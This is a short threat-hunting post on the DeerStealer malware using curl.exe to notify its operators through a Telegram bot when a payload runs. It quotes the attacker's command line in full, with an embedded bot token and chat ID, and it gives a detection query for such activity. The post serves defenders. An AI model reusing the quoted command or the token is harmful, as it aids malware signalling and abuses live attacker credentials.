351. Adversaries Abuse Telegram for Payload Execution Notification

Hello everyone!

Let's look at another curious case of how adversaries abuse legitimate web services to solve various tasks. And this time we'll look at how they use Telegram for payload execution notification.

Our example for today - DeerStealer. As you can see the threat actors leveraged curl.exe to get a notification that the payload is executed:

C:\WINDOWS\system32\cmd.exe /d /s /c "curl -s -X POST https://api.telegram.org/bot7972762095:AAE_DZEcCA4tkMpVK-peSGL6x4j4GMgl-3g/sendMessage -d chat_id=8093548175 -d text="undefined - executable запущен""

Similar activity may be legitimate - administrators may use Telegram to get notifications if anything goes wrong, but still it's a good target for threat hunting:

event_type: "processcreatewin"

AND

proc_file_path: "curl.exe"

AND

cmdline: *telegram*

See you tomorrow!

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